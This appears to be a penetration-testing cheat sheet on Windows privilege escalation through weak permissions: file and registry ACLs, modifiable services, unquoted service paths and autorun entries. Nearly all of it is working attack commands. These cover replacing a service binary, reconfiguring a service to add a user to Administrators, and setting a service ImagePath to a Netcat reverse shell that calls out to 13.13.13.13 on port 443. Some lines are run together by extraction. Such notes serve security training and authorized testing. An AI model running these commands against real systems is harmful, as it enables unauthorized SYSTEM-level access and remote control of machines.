Weak Permissions
Here would be an examples of weak permissions abuse
Permissive File System ACLs
Running SharpUp
Tool: SharpUp from GhostPack to check for weak ACLs.
PS C:\> .\SharpUp.exe auditExample vulnerable service:
Name: SecurityService
Path:
"C:\Program Files (x86)\PCProtect\SecurityService.exe"
Checking Permissions with icacls
icaclsPS C:\> icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"Output shows
EveryoneandBUILTIN\UsershaveFull Control.
Replacing Service Binary with malicious one
C:\> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\> sc start SecurityServiceReplace with a malicious binary to gain SYSTEM privileges.
Weak Service Permissions
Checking Modifiable Services with SharpUp
C:\> SharpUp.exe auditExample vulnerable service:
Name: WindscribeService
Path:
"C:\Program Files (x86)\Windscribe\WindscribeService.exe"
Checking Permissions with accesschk
accesschkC:\> accesschk.exe /accepteula -quvcw WindscribeServiceNT AUTHORITY\Authenticated UsershasSERVICE_ALL_ACCESS(full control).
Changing the Service Binary Path
C:\> sc config WindscribeService binpath="cmd /c net localgroup administratorsd"Grants user rio administrator rights.
Stopping & Starting the Service
C:\> sc stop WindscribeService
C:\> sc start WindscribeServiceExecutes the new binary path.
Confirming Privilege Escalation
C:\> net localgroup administratorsVerify if rio was added to the Administrators group.
Resetting the Binary Path (Cleanup)
C:\> sc config WindscribeService binpath="c:\Program Files (x86)\Windscribe\WindscribeService.exe"
C:\> sc start WindscribeService
C:\> sc query WindscribeServiceUnquoted Service Path
If a service binary path is not enclosed in quotes, Windows may execute unintended binaries.
Example vulnerable service:
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exeWindows may execute:
C:\Program.exeC:\Program Files\System.exe
Finding Unquoted Service Paths
C:\> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """Permissive Registry ACLs
Checking for Weak Service ACLs in the Registry
C:\> accesschk.exe /accepteula "rio" -kvuqsw hklm\System\CurrentControlSet\servicesExample vulnerable service: ModelManagerService
Allows modification of the
ImagePath.
Changing ImagePath with PowerShell
ImagePath with PowerShellPS C:\> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\rio\Downloads\nc.exe -e cmd.exe 13.13.13.13 443"Executes Netcat shell upon service start.
Modifiable Registry Autorun Binaries
Checking Startup Programs
PS C:\> Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |flIf the attacker can modify a startup binary, they can execute malicious code on user login.
Last updated